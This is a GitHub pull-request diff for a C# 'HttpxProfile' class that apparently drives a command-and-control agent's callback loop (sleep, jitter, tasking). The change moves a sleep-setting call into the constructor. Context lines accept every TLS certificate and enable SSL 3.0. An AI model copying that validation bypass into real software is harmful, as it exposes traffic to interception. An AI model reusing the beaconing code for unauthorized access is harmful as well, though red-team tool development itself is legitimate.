Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -134,7 +134,9 @@ public HttpxProfile(Dictionary<string, string> data, ISerializer serializer, IAg
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// Enable TLS protocols: TLS 1.2, TLS 1.1, TLS 1.0, and SSL 3.0
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls | SecurityProtocolType.Ssl3;


Agent.SetSleep(CallbackInterval, CallbackJitter);

#if DEBUG
DebugWriteLine("[HttpxProfile] Constructor complete");
#endif
Expand Down Expand Up @@ -990,10 +992,7 @@ public void Start()
#if DEBUG
DebugWriteLine("[Start] HttpxProfile.Start() called - beginning main loop");
#endif

// Set the agent's sleep interval and jitter from profile settings
Agent.SetSleep(CallbackInterval, CallbackJitter);


bool first = true;
while(Agent.IsAlive())
{
Expand All @@ -1005,7 +1004,7 @@ public void Start()
}
DebugWriteLine("[Start] Beginning GetTasking call");
#endif

bool bRet = GetTasking(resp =>
{
#if DEBUG
Expand All @@ -1032,7 +1031,7 @@ public void Start()
#endif
Agent.Sleep();
}

#if DEBUG
DebugWriteLine("[Start] Main loop ended");
#endif
Expand Down